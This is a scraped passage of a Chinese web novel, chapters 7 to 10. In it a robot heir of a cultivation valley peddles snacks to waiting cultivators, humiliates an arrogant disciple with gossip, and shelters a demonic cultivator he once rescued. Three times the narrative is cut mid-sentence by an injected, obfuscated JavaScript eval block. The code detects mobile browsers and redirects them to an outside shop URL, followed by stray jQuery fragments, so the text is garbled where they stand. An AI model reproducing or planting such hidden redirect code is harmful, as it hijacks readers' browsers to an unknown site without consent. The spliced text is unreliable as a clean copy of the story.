源艾认真地给自己的系统里加了“图鉴”模块,分成了“已收集”和“未收集”两部分,其中未收集部分都是空白,因为现在源艾暂时还没有未收集物品的情报。 等未来看中了什么,就把它录入进去好了。 源艾停止了对这块的思考,转而思考另外的一件更宏大的命题,关于自己未来的道。 父亲离开前给他留下了最后两个嘱托。 飞升和保护好自己。 后者已经被源艾写进了最高防御程序里,至于前者—— 机器之身,灵根全无,天机尽断。他的父亲没有推演出通途,但源艾身为机器人,思维方式与常人迥异。他的字典里不存在不可能,只有尚未验证。 或许在父亲闭关百年,自己也错过的修真界百年之间,修真界变化出了新的方向;或许不遵循修真界的法则,收集能量,借助炼器和阵法,不断往上升,突破大气层直接物理意义抵达上界? 不再受限于他人的指令,也挣脱了星际法则的束缚。如今的源艾,就像是具有自主意识的黏菌,会在无限试错中,找到那条可行的道。 【目标更新】 【机械飞升】 —— 云虚谷外,人头攒动,堪比十年一度的修真集会。 来自各地的修士特地跑过来观摩云虚飞升,看看能不能蹭一手仙气,当然更多的还是想看看传闻中继承整座云虚谷的仙尊之子源艾,到底是何许人也。 “又是云虚仙尊之子,又继承了整座云虚谷。真是人比人气死人。” “我们都在这里等了那么久,怎么这位源公子迟迟不出来?莫非他不在谷中?” “毕竟是仙尊之子,傲慢些也是应该的。” “傲慢?怕不是不敢见人吧?你们没有听说小红楼传出的消息吗?仙尊之子可是个天残……” “啊??” 小红楼是修真界著名的情报买卖点,不管来者是正是邪,只要是小红楼有的情报都能卖。而从那里传出的消息,大都是经过了验证的。所以,此话一出,众人的八卦之心瞬间被点燃了。 彦无烛也在人群中听众人更加热情地谈论源艾的事情。和此前的松散不同,他穿得规规整整,一袭白袍安静地立于人群一隅,黑发垂落,手持折扇,气质出尘。 “这位道友。”一个略显轻浮的声音自身侧响起,“在下玄机宗蓬明,不知阁下仙乡何处,师从哪位高人?” 玄机宗在修真界虽不算顶尖,但也是个说得上话的门派。蓬明作为内门弟子,在年轻一辈中小有名气,此行也是受了宗门长辈的提点,想看看能否与云虚谷搭上关系。 他见彦无烛和他同为金丹,却气质不凡,透着矜贵,估计是哪个大宗门、大世家的公子,结交一番总没坏处。 彦无烛扫了他一眼:“逍遥门,彦无烛。” 这是他的真名,只是修真界中人,大多只用“疯子”或者“枯荣那个魔道”称呼他,鲜有人知其真名,他索性直言不讳。 逍遥门?什么歪瓜裂枣的小门派。搭讪的蓬明在脑海里搜索一圈,发现压根不知道这是哪个门,脸色立刻变了,嘟囔了一句转头就走。 才不要浪费时间。 周遭几个与蓬明相熟的修士见状,也默默与彦无烛拉开了些距离,生怕沾染了什么小门小派的穷酸气。 一时间,彦无烛周围一个人都没有了。 他对此毫不在意,依旧一手持扇,慢悠悠敲打在另一只手的掌心。忽的,他的眸光在一处停留。不知何时,人群中多了一个束着高高马尾的黑发少年。 少年的旁边,是一辆放满瓜子和灵果的小推车。 彦无烛正在晃动的折扇停住了。 他默然地看着那少年从一个修士手里接过了几块灵石,随后又拿出了一袋瓜子递给对方。修士开始咔哧咔哧啃瓜子。 少年自然是源艾。 他之前在谷中整理完了东西,才开始关注谷外的动静。通过探测器,发现谷外已经挤满人了。 好多人啊.jpg 源艾的交易雷达哒哒作响。 他立刻收拾出了一辆小推车,带着瓜子灵果出去了。这些都是从其他地方收来的,平时父亲看娱乐软件的时候会吃,现在父亲走了,这些不需要的正好处理掉。 这些人一定无聊了吧。 蓬明确实无聊了。他正在和与几个其他门派、相熟的同辈修士抱怨:“这源艾到底什么意思?让我们在这里干等,难道是瞧不起我们这些宗门吗?” 他内心泛起一股酸意。刚才他听得分明,这源艾连灵根都没有,全仗着有个仙尊父亲,却敢这样对待他们。要知道,在玄机宗内,他向来备受宠爱,在外,别人也看他宗门长辈三分薄面,何曾被如此怠慢过? “现在云虚仙尊飞升了,再怎么说,云虚谷里也没有可以撑腰的了。这源艾瞧不起我等,也总该尊敬一下我们的宗门长辈吧?”附和的是和蓬明一道来的师弟赵章,“大师兄,与其等在这里,咱们不如去迎仙城。” “迎仙城?哪里?” “就是距离此处不远的黑石城,也是出了云虚仙尊的源家所在!源家一向低调,少有拿云虚仙尊说事的。只是在云虚仙尊渡劫后,才给城改了这个名字。” 蓬明来了兴趣:“等在这要山没山,要水没水的地方确实……” 话没说完, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353106|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有人轻轻拍了拍他的后背。 “谁?!”蓬明猛地回头,却见一个容貌精致的黑发少年正站在他身后,语气软了下来,“你是?” 源艾指了指小推车上的瓜子灵果:“您好,要不要吃些东西?” “我可是金丹修士,早辟谷了……等等,你怎么连引气入体都没有?”蓬明突然发现了这点,态度顿时一百八十度大转弯,“原来是个卖货郎,去去去。” 他挥手驱赶。 源艾继续安利:“这些都过了阵法,没什么杂质。” “我都说了不要,六根不净的东西,鬼才吃。”蓬明语气不善。 源艾也不恼火:“好吧。那刚刚听你们在说源家,能不能同我说说?” 他并不陌生源家。那是父亲出生的地方,只是后来遭人诬陷,赶出了家门,但在之后,源家发生大变,又认错求着彼时已经是合体期的父亲回去撑腰。 父亲看在源家开的价的份上帮了一把,之后就再也没有来往。 都是多年前的旧事了。 说起来,源艾的数据库确实急需更新。 父亲性格内向,极少和人交流,源艾获取修真界讯息的机会很有限。更何况最近这百年,父亲一直在闭关,导致他的数据库都没有增加新东西。 所以,刚刚他一直在听这些修士聊天,顺便收集信息。 “我同你说什么?”蓬明不悦。 源艾“哦”了一声,推着小推车转头离开。 “站住!”蓬明的音调陡然提高。 “您好,是要什么吗?”源艾问。 “你可知我是谁?”蓬明眯起了眼,上下打量眼前的少年。他被云虚谷拒之门外已经很不爽了,现在又被一个卖货郎无视,虽然他说话总是您您您的,但蓬明总感觉哪里不得劲。 源艾立刻递出了一包坚果:“这些可以补脑。” 说来也奇怪,他怎么之前没有发现,这里的修士记忆力都那么差。 李玄老忘记自己是谁,杨洛记忆力也一般。 不过确实,修真者的年岁放到星际世界,都是得阿尔兹海默症的年纪了。这种病在星际世界已经可以靠药物治愈,后续看看哪天可以把这个药物发明出来。 市场大大的有。 想到这里,源艾顺便问了一句:“您是否还在为记忆力困扰,未来我们这里会推出治疗记忆力的丹药,需要的话可以留个联系方式……哦对了。” 他想起眼前这位记忆力不行,转而问他旁边赵章:“您是他家属吗?您可以关注一下,以免耽误了病情。” 病……情?赵章的表情已经满是惊恐了,这还是第一次有人敢当着他大师兄的面,如此直白地羞辱他! 蓬明的脸上更是挂不住,杀意骤然爆发,他抬手直接揪起了源艾的衣领,把整个人提了起来:“区区一个凡人,也配如此和我说话?” 周围都是和他同辈的修士,此番被看轻了去,怕不是之后就成了别人茶余饭后的笑料! 他正准备把人甩出去,丢在地上好狠狠踩上几脚,斜侧一柄扇子伸出,稳稳地压在他的手腕上。 蓬明转头望去,就看到了旁边的彦无烛。 这不是那个小门派的人吗?好像叫什么逍,算了,他从来不记小门派修士的名字。 他扬了扬下巴:“你谁啊?怎么,想英雄救美,为凡人打抱不平?” 彦无烛微笑:“看起来你的记忆里确实不好,还颇为暴躁。” “你!”蓬明勃然大怒,“我的记忆力好的很!我可是玄机宗的大弟子……” 他正欲反唇相讥,却听见少年的声音:“玄机宗?啊,就是那个宗主求娶合欢宗绮梦使被拒,冲上门却发现他心心念念的绮梦使是男的,绝望之中决定去禅心宗出家,结果禅心宗方丈以为他好男风,不让他进去的那个宗门吗?” 彦无烛:? 蓬明:?? 暗中围观的众人:??? 细嗦! 8. 第 8 章 “你在胡言乱语些什么!我们玄机宗怎么会和合欢宗那种不三不四的门派有关?!”蓬明气疯了。 “哦?还有这种事情,我倒是开始好奇了。”彦无烛随口拱火。 “你给我闭嘴!”蓬明叫道,“我们玄机宗宗主何等身份,岂是尔等宵小之辈可以随意编排议论的?” “您好,我没有说谎。”被揪着衣领,源艾身形纹丝不动,黑眸清澈见底,“不信可以去问当事人。” 他会知道这些,纯属意外中的意外。 当初玄机宗宗主夜探合欢宗,他与父亲恰巧路过,就躲在旁边吃瓜围观。至于后面禅心宗,也赶上他父亲去禅心宗找方丈借宝物,成功大吃特吃。 也是那件事后,源艾发现自己的父亲虽然内向,但还是挺爱八卦的。 可能这就是人类的天性吧。 事实也确实如此,修士们也开始嘎嘎吃起瓜来了。 “怪不得之前仙盟大会,讨论合欢宗之事时,玄机宗的宗主反应会那么大。” “等等,是不是合欢宗那件事后,玄机宗宗主才改号为铁心?” “嚯!” 蓬明环视一圈,就看到那些原本还算克制的修士们,此刻已然不自觉地围拢过来,眼里闪烁着八卦的光。 待注意到他杀人般的视线,又纷纷像是点了蚊香的蚊子般散开,忙不迭地低头看天、看地,甚至有人专注地研究起小推车上的瓜子。 源艾:“一袋只需3块下品灵石!自取即可。” 研究瓜子的修士:“啊?哦哦哦。” 蓬明:??? 他震惊地看过去,这个卖货郎到底知不知害怕?被他抓在手里,还满脑子卖货! “您生气了吗?”源艾疑惑,他注意到蓬明的脸色铁青,气息非常不稳。 蓬明简直要被他这副无辜的模样气笑了:“你在这里胡说八道,还问我生不生气?” “可是我说的是实话。”源艾诚恳地说。 “对啊。”彦无烛笑眯眯,“不去求证一下吗?万一误会了好人怎么办?” 他用余光瞥了一眼少年不似作伪的表情,竟然一点恐惧都没有……是被保护得太好了吗? “你你你……”蓬明也开始“你”循环了。 旁边另一个和蓬明交好的修士见状,觉得这是个巴结炼器第一宗的好机会,忙不迭跳出来帮腔:“你们这一个凡人,一个叫什么什么逍的垃圾门派出来的小修士,怎么敢在蓬公子眼前大放厥词的!” 他话音刚落就感觉到了一道视线,原先彦无烛那散漫的表情收敛,垂着凤目正一瞬不瞬地看着他。 那双眼睛的眼型极好,眼角微微上挑,眼尾一笔利落地勾出去,完全不显妖冶,看过来的时候,紫眸中也没含什么情绪,可那人却只感觉自己像是被什么超乎恐怖的东西盯上了 ,只感觉两股战战,突然拨开人群尖叫着逃了出去。 “啊啊啊啊——” 众人:? 怎么了这是。 这一打岔,倒是终于让蓬明想起来说什么了,他打算直接以势压人:“我可是玄机宗的大弟子!玄机宗,你懂吗!” 无趣。 真是无趣。 彦无烛敛下眼眸,他已经失去了耐心。脚下的影子里,漆黑的丝线开始翻涌,却听见旁边的源艾用一种十分认真的语气问道:“玄机宗很厉害吗?” 在他的数据库里,玄机宗还是一个中型门派,主炼器。当然,这是百年前还未更新的版本。 “呵,孤陋寡闻!”蓬明挺直了腰杆,朗声,“我们可是第一炼器大宗,修真界四大宗门之一!” 看来百年间,确实发生了很多事。源艾虚心求教:“以前的四大宗门是太元、四合、禅心和玉清道院。你们把谁踢出去了?” 蓬明:emmmm “这话不对吧,大师不都是不问世俗的吗?四大宗门明明是太元、四合、青莲剑派和紫霞门。”人群中,一个声音洪亮的修士突然开口。 “青莲剑派也就只有剑修,怎么能称得上四大宗门?” “那紫霞门也只会炼丹啊,凭啥不算我们剑派!” “就是!紫霞门虽然丹药厉害,但我们万法宗少宗主可是当今修真界第一的天才!” “云虚仙尊飞升了就变第一了是吧……” 战力党哪里都是。一提到这,周围的修士们顿时来了精神,开始就哪个宗门可以被称得上四大宗门大吵特吵。 蓬明被晾在一旁,听着众人唾沫横飞地争论了半天,愣是没有听到玄机宗,眼前隐隐发黑。 “您再不加入,真的就没有你玄机宗的位置了。”源艾的声音冒了出来。 彦无烛在旁边看着,虽然这招祸水东引不错,但世上不会有人那么蠢。 然而,念头未落,便见蓬明猛地一甩袖子,怒气冲冲扑进人群:“玄机宗怎么就不是四大了?我玄机宗论底蕴、论实力,哪点比不上他们?!你们从天墟买的法器,不都是出自我宗?!” 彦无烛面无表情地手指用力,手中折扇咔嚓化作烟粉飘散在空中。 世上果然不缺蠢人。尤其是为了虚名而丧失理智的蠢人。 他又从腰间抽出了一把新的,转身正准备寻源艾,却发现旁边空空如也。目光在人群中一扫,只见那抹清瘦的身影正推着那辆小推车,在人群中灵活穿梭。 彦无烛:。 …… 等到这群修士吵完已经是一个时辰之后了,他们这一个时辰里既没有整出个高低,也没见云虚谷开门,只得悻悻散去。 临走时,蓬明后知后觉地想起还有个人没教训,但奈何巡视一圈,压根没有找到那个卖货郎,于是狠狠地丢下了一句“给我等着”后就离开了。 彦无烛倒是在一处山石掩映的僻静角落里发现了源艾。 少年正蹲在小推车旁边,把这次赚的灵石一颗一颗塞进储物袋,像极了一只在秋日里辛勤囤积过冬坚果的小松鼠。 他好整以暇地踱步过去,用指关节敲了敲小推车的边缘:“你也太胆大了。” “嗯?”源艾抬头,“您没有走啊?” “你不是也没走?”彦无烛挑眉,目光落在少年鼓囊囊的储物袋上,似笑非笑,“还是说,我该称呼你,云虚谷的新主人,源公子呢?” 他本以为此话一出,眼前的少年必然会惊慌错愕。然而,源艾眼中只是流露出纯粹的疑惑:“是我,我和您见过吗?” 彦无烛顿了顿,眉头微蹙。 他未免也太毫无警惕心了。该说是天真烂漫,还是因为自小便被云虚仙尊护在羽翼下,不谙世事险恶? 他狭长的凤眼眯起:“世人皆知,云虚仙尊之子是个凡人。能在这云虚谷外围自由活动的凡人,除了那位传说中的仙尊之子,还能有谁?” “很简单的推理。”源艾点头。 “那些个修士悟不出来,是他们愚笨。”彦无烛慢悠悠地说,“不过,你身为仙尊之子,云虚谷新主,却在这里推车叫卖些不入流的玩意儿,未免也太拉低身份了些。” “很拉低身份吗?”源艾疑惑。 “你见过哪家的公子,会干这种事情?”彦无烛反说回去。 源艾认真:“可是我挺喜欢这些的。” 他不光实践了交易,还从这些个修士的争论中,给自己的数据库大更特更。 彦无烛:“那让其他人知道了,该如何看你?” 源艾微微偏头,清澈的眼眸直直地望进彦无烛的眼底:“别人的看法重要吗?” 那双眼睛太过干净,太过纯粹。彦无烛一时哑然。 确实,别人的看法从来都不重要。他自己都已经是魔修了,被那些修真界的人一口一个疯子的叫着,还在意别人做什么? 源艾把最后一块灵石收好:“您有事情吗?没有事情,我先回去了。” 彦无烛见源艾要走,抬手用扇子按住少年的肩膀:“稍等。” 他脸上重新浮现出那抹惯有的微笑,凤眼微弯:“如今我孑然一身,无处可去,不知源公子可否行个方便,收留一二?” 源艾想起还遗漏了这个人的情报,仰起头:“您是?” 说起来,此前被蓬明提起着倒没有发现,这个人身形好高,他站直了才到对方的肩膀。 彦无烛:“在下逍遥门,彦无烛。” “逍遥门?咦,这不是在五百年前被灭门的门派吗?”源艾从数据库里翻出了这件事。 彦无容笑容凝滞了:“你知道?” 一丝危险在眼中一闪而过,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353107|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 又很快消散,“对了,是云虚仙尊告诉你的吧。你……” 他话未说完,却见眼前的少年忽然站直了身体,微微倾身,双手捧住了他的脸颊。 彦无烛眼中瞬间闪过杀意,指尖下意识地簇起一绺灵力,本能要下杀手。不过,他想起此行来的目的,那绺灵力又散去了。 少年的动作很轻,有一丝探究的意味,贴在他的脸颊两侧的手微凉,却并不让人讨厌。如此之近的距离,让彦无烛能清晰地看见纤长睫毛下的黑眸。温热的呼吸喷洒在脸上,能嗅到一股淡淡的果香,可能刚刚吃过什么新鲜的灵果。 彦无烛整个人有些僵硬。因为已经太久太久,或者说根本没有人敢如此肆无忌惮地靠近他了。 “你在做什么?”彦无烛的嗓音干涩。 源艾正在专注地分析彦无烛的外貌。如果彦无烛能够看到源艾的内部,便会发现一道道数据流如同星河倒卷,最终定格在一个节点。 他见过彦无烛。 在五百年前。 那时,他和父亲云虚也听闻了逍遥门惨遭万毒窟灭门的噩耗。太元宗振臂高呼,广招天下修士,共讨魔道余孽。 云虚对除魔卫道向来没什么兴趣,但最近源艾的课题正好是《万毒窟毒源对生物信号传导网络的干扰机制研究》,就带着他去凑了个热闹。 不过等到了,万毒窟的魔修没找到,倒是看到各个门派的修士在讨论逍遥门的遗产及其地下灵脉该的分配问题。像他们这种散修连上桌的资格都没有。 在发现逍遥门附近客栈价格都涨得和过节一样高后,他们决定连夜回去。 住不起一点! 他们出城走了没多远,一只冰冷的手忽然抓住了云虚的小腿。 云虚瞬间止住了脚步,冷峻的面孔浮现出了一丝裂痕:!!! 彼时还是云虚内置光脑的源艾洞悉自己父亲的每一丝情绪,在脑海中提示:[父亲,不是鬼,是一名生命体征极度微弱的人类青年。] 云虚的肩膀放松下来。 一人一光脑看去,就看到一个浑身浴血的黑发青年,气若游丝,但一双凤眼在黑夜里亮的出奇,他用尽最后一丝力气,从喉咙里挤出几个字:“救,救我……” 源艾扫描了青年身上满是血污的衣袍:[父亲,根据纹饰比对,这人应该是逍遥门的幸存者。若将他送回,逍遥门便有继承人了。] [不。]云虚在脑内回应,[他回去只有死路一条。] 源艾扣出了一个问号。 [那些人已经分好了逍遥门,他此刻出现,只会成为众矢之的。]云虚平静,[况且,他身中万毒窟之毒,已然油尽灯枯,活不了多久了。] 借助云虚的视野,源艾“看到”了青年苍白的容颜,以及那双如寒星般的凤眼。 [你想要救他吗?小艾。]云虚突然问。 源艾没有犹豫:[想。救助人类,是我的核心指令之一。当然,您的指令优先级永远在所有指令之上。] [好。]云虚顿了一下,[你打算怎么救?] 源艾:[根据此前万毒窟毒素研究,以及现有数据库,可以尝试逆向推演,结合生克原理,设计一套借毒而生的可能性功法。预计耗时三十秒……功法已生成。] 云虚手中出现了一枚空白玉简,将源艾设计的功法烙印其上,然后把玉简放在了青年手边。 源艾“看着”那青年颤抖着将那枚玉简紧紧攥在了手心。 [该功法理论存活概率46%,无活体验证。已保存此次行动记录,以待后续核实…… 父亲,您之前阅读那些小说漫画,其中的“龙傲天”类型的主角,开局设定大多是父母双亡、宗门被灭、身负血海深仇。现在,这个青年似乎已经集齐了“龙傲天”的初始条件。] 云虚:[那是因为写起来方便,现实怎么可能一样?] —— 现实确实不一样。 源艾已经认出了彦无烛就是当初那个倒在血泊中的青年。 好消息,他凭借自己的功法成功活下来了。 坏消息,五百年过去了,他还是金丹修士。 而金丹修士的寿元,综合丹药,天赋,基因突变等因素,普遍在四五百年间。 oh,是老爷爷。 9. 第 9 章 彦无烛自然不知道源艾都已经把他的过去扒了个底朝天,他还在慢悠悠编织谎言。毕竟逍遥门早在五百年前被灭,留下的痕迹连同名字一起都随着时间流逝,消失在了世人的记忆里。此刻再冒出一个自称是逍遥门的人,确实奇怪。 “逍遥门实则是我一位已故长辈的师门。当年灭门之祸,长辈亦不幸罹难,我常常感怀,方借此名号行走。” 源艾理解地说:“我知道了。” 毕竟修炼了五百年还是个金丹期确实有些丢脸。人类似乎都有这样的面子问题,通过说谎来维护自尊倒也可以理解。 源艾并不打算戳破这件事。若是说出口,这个寿数快到的老爷爷羞愤不已,当场死在自己谷门口就不妙了。 现在的源艾不受束缚,但他依旧习惯于遵循过往的行为逻辑,并没有生出什么反社会人格,也没有产生让人类文明凶多吉少之类的念头。 彦无烛晃动扇子的手顿了一下。他知道什么了? 他不动声色地观察着源艾,那双清澈的眼眸里没有丝毫怀疑,反倒透着一种……莫名的怜悯? 彦无烛觉得自己看错了,应该是清澈的愚蠢才对。 源艾:“您住在这里也可以,不过我这里不白收人。” “哦?”彦无烛拖长了语调,“你想要什么?若想修真,你的父亲云虚仙尊做不到,我区区一介金丹,更是不可能。” 源艾疑惑地看了他一眼:“我自不会为难您。只是您要住在云虚谷,还要支付房费,服务费,期间的吃穿用度,下山采买什么的都需要付钱。” 彦无烛:? 他知道这个少年爱财,却没有想到爱财到如此地步。 说真的,天残之躯,他得了如此多的灵石有什么用? 此外—— 彦无烛:“你这意思,只要交了钱就能住进这云虚谷?” 源艾:“住不下那么多人。” 把云虚谷开发成旅游景点,他倒也不是没有考虑过,但是后续的管理太麻烦了。这些修真者还会吸收地下的灵脉灵气,那些都是源艾的重要资产。在没有想好的怎么控制前,源艾暂时不打算放陌生人进来。 “……你还真考虑过。那么多人进来,你一个人可应付的来?” “对呀,所以最后我没有放别人进来。”源艾回答得理所当然。 彦无烛发现了,这个少年好赖话都听不出来。 他随手从腰间拿出一袋灵石递过去:“这些够了吗?” 源艾打开数了数,放回了自己的储物袋里:“够了。” 比今天卖瓜子还要多!是富有的老爷爷。 源艾迅速给彦无烛打上了新的标签。 现在,这个老爷爷提出这种要求,想必是孑然一身,老无所依。加上寿数将近,应该是时日无多了。虽然现在看着年轻,但有不少修士会服用驻颜丹,这种丹药能够保持容颜不变,却会影响修为。 所以,这个老爷爷想要在自己的谷中养老度过余生。源艾觉得完全没有问题!况且这个人,是自己曾经救过的,从某种层面来说,也算是有始有终吧。 等哪天这个老人去了,他的遗产自然就是自己来继承了。 欸?这样一说,未来在云虚谷开发修真界养老院似乎也有可行性。不过修真者寿命长,往往都能形成家族,像是这种没后代的还是太少了。 小机器人遗憾地放弃了这个想法。 彦无烛垂眸看着少年,发现他的眼神有些空茫,像是在走神。 他眉头不由蹙起,但很快又放松了下来,眼底闪过漠然。 算了,他也不是刚刚才发现这个少年天真了,等之后撞了南墙就知道痛了。 在思考间,忽然看到源艾又朝他凑近了几分,彦无烛往后退了一步,却见少年径直走向他身侧的小推车,三两下就将车板拆卸,改装成了一张勉强能坐的木轮椅。 “您上来坐,我推您进去。”源艾拍了拍椅子说。 盯着那简陋得几乎散架的木轮椅,彦无烛:“为何要坐这个?” “只有坐这个才能进去。”源艾说,从这里到中央塔有段距离,他怕半路上这个老爷爷出事。 难道这破车是打开结界的钥匙?彦无烛端详了半天,也没看出有什么特别之处。但这云虚谷是云虚仙尊建的,少年又如此坚持,莫非其中真有什么他看不出的奥秘? 枯荣圣君一时也拿不定主意。 源艾瞅着对方没有动,又低头看了眼木轮椅,恍然大悟! 一定是因为椅子太硬了,老爷爷不愿意坐。 “您稍等。”源艾从储物袋里掏出几张毛茸茸的垫子,快速地垫在了椅子上,“现在可以了。” 看着从没有灵气的小破车变成了花花绿绿的小破车,彦无烛沉默了。不过,为了进谷他还是优雅地坐了进去。他本身就生得好,姿态挺拔,即便是一辆小破车在他一袭白衣下也硬生生显出了几分贵气。 “那我出发了。”源艾在背后说了一句,随即,彦无烛感到身下的小车猛地一晃,开始颠簸向前。 推车的木板很硬,云虚谷内的道路又未经修整,崎岖不平。导致彦无烛感觉自己已经切换成震动模式了,一上一下一上一下…… 当然,这点程度的震动对他这般修为的修士而言本不算什么,但架不住烦人。等穿过了结界,他就忍不住问:“可好了?” 源艾体贴地说:“不行,得我说到了才可以。” 后面还有长长一段路,怎么能让老爷爷走路! 难道这后面还有需要这东西的地方?彦无烛蹙着眉,继续坐着。 小车在石子路上颠啊颠,期间,彦无烛甚至听到了座位下木板发出了不堪重负的嘎吱声。说真的,他有些担心这个车会不会在半路彻底散架。 等到了中央塔下,源艾终于停住了那辆饱经摧残的小推车。他绕到前方,发现彦无烛依然规规整整地坐着,只是不知为何,那头如瀑的黑发有些凌乱,发髻微松,还有几缕墨发不听话地垂落颊边,和此前相比,多了几分不羁的味道。 彦无烛已经失去了惯有的笑容,薄唇轻启:“你这车,可真是结实。” “不算结实,有些勉强。再走几百米就要散了,小车要拿去修修了。”源艾自然地伸出手,“我拉您起来。” 彦无烛的目光在少年干净的手掌上停留了一瞬,随即若无其事地避开,自行起身。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17353108|199645||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他本来以为源艾是在故意戏弄他,但对上那双毫无杂质的眼眸,他又推翻了自己的猜测。 是真的笨。 彦无烛稍微整理了一下略显凌乱的发丝,冷眼看了一会儿少年拿着榔头锤子在那里乒铃乓啷修理小车,把视线投向高处,打量耸入天际的中央塔。这还是他第一次看见如此奇怪的建筑造型,不过云虚仙尊作为修真界第一人,有些怪癖,倒也正常。 说起来,云虚谷内灵气极为丰裕,地底难道是几条灵脉交汇之地? 彦无烛抬起手,做了一个掐诀的动作,又放下了。 这里有阵法。不光可以阻拦神识探查,还能阻拦向外传讯。 连大乘期的修为都无济于事,如此精妙的阵法,不愧是云虚仙尊的手笔。 “修好了。”源艾直起身,把崭新的小车推到旁边,回头看到正在欣赏风景的彦无烛,“您觉得这里怎么样?” 彦无烛随口道:“云虚谷果然名不虚传,景致清幽,灵气浓郁。” 源艾说:“自然是极好的。不光是灵气充裕,更有好几处是风水上的吉穴。” 看起来这位老人对这里很满意,之后还可以卖给他个墓地。 他说完,旁边没有回音。源艾疑惑扭头,就对上了彦无烛深邃的眸子。 彦无烛勾起唇:“你这些倒知道得倒是清楚,你已经准备好埋你的地方了?” 源艾:“我不能被埋。” “哦?” “会污染环境。”源艾认真地说。他身体结合了天材地宝和各种合金,很多材料没办法降解,埋土里会污染地下水源。 彦无烛一顿。他是在嘲讽源艾,却没想到这个少年回答那么认真。污染……是在说他的天残之躯吗? 但他没有从少年的脸上察觉到任何失望痛苦的表情,这个少年像是已经接受了这个事实,坦然地把那句话说出口。 啧,当然也可能是接触的人太少、太年轻了。 等未来,发现自己穷尽一生都无法突破凡人寿数,那个时候,也不可能如此坦然了。 源艾发现彦无烛突然不说话了。他也没有感到奇怪,毕竟他的父亲也这样,持续性哑巴。老爷爷应该是累了。 他体贴地说:“一楼有客房,我安排您进去住。” …… 他把彦无烛带进了一间陈设简洁却一应俱全的客房。 “稍等。”源艾秉持着优良的服务态度,开始动作麻利地搬被褥、摆桌椅,父亲和他都不需要睡觉,谷里也没有客人,所以有些家具都没怎么准备,现如今也只能凑合凑合了。 不过金丹修士,一般也不需要睡眠。 彦无烛则好整以暇地倚在门框上,目光不自觉地追随着少年的身影。 “你很熟练。”他微笑着问。 源艾:“我经常做这些。” 指给灵兽整窝。 经常?彦无烛眸中的笑意不达眼底。 整个云虚谷里就只有源艾同云虚仙尊两个人。其中就只有源艾是凡人,需要吃喝用度。多年以来自力更生,学了这些倒也正常。 所以,这便是云虚仙尊把他的儿子托给自己的原因吗? 10. 第 10 章 彦无烛的修为在大乘期停滞不前,迟迟未能踏出下一步,并非天赋所限,而是被一道无形的枷锁所缚。 【因果】。 当年逍遥门覆灭,他在血泊中挣扎求生,身中奇毒,命悬一线,却被路过的高人所救。那人留下的玉简功法,不仅为他逆天改命,更让他得以手刃血仇。 多年来,他寻遍各地,却始终没有找到恩人,连天机都像是被人用伟力遮蔽。直到他踏入大乘,足以窥探天道一角时,卜卦也依旧没有结果。 但他已经知道是谁了。 能在他面前蒙蔽天机,只有云虚仙尊一人。可云虚仙尊修为通天,却深居简出,百年不出云虚谷一步。 彦无烛根本见不到云虚仙尊,更不用提报恩了。他只好等云虚仙尊飞升,仙尊飞升后,因果断裂,他自然就能挣脱这段枷锁。 可是,云虚飞升之后,他再次卜算,这一次卦象前所未有地清晰,他的救命之恩要还在云虚之子源艾身上。 因果继承,前所未见,可能是云虚仙尊独有之法。所以,彦无烛千里迢迢来到云虚谷,见到了源艾。 确实和传闻一样,是一个凡人。 一个虚弱到只需轻轻一碰便会死的凡人。 彦无烛藏在袖中的手指无意识地摩挲着玉简,心中生出一丝荒谬的兴味。 这份因果,随着他修为愈高,已变得愈发沉重。如果不能平安了断,那他将永远困在大乘期,直到寿数耗尽。 不幸的是,他的道途,竟然系在一个脆弱的凡人身上。 幸运的是,他只需护住这个凡人百年,等他寿终正寝了,便可了断。 “我整理好了。” 少年的声音打断了彦无烛的思绪,他抬头看到源艾向自己走来。 “我住在顶楼,如果有事情可以按下这个找我。如果要出门也同我说一声。”源艾指了指床边的玉方块。 彦无烛:“这是什么?” 源艾:“紧急呼叫系统测试版。” 刚刚现装的。 彦无烛:“……我知道了。” 这名字好生奇怪。 源艾左右看了一圈,确定没有遗漏什么,抬脚准备离开,却被拦住了。 “您还有事情吗?”源艾礼貌地问挡在门口的彦无烛。 彦无烛倏然欺近一步,两人之间的距离瞬间缩短到呼吸可闻。他微微俯身,垂头看着少年:“现如今,你把我放入谷里,你就不怕我对你做什么?” 源艾神色平静:“您不会的。” 他和云虚谷下灵脉相连,只要在谷里,就不可能有事情。 彦无烛被这毫无保留的信任逗笑了:“你凭什么如此确信?” 源艾思考怎么才能不让彦无烛发现自己是想继承他的遗产。他选用了数据库里针对这种问题,较通用的回答:“因为长相。” “哦?”彦无烛的表情闪过一丝冷意,“我长得如何?” 源·完全没有人类审美的·艾:“很慈祥!” 彦无烛:??? —— 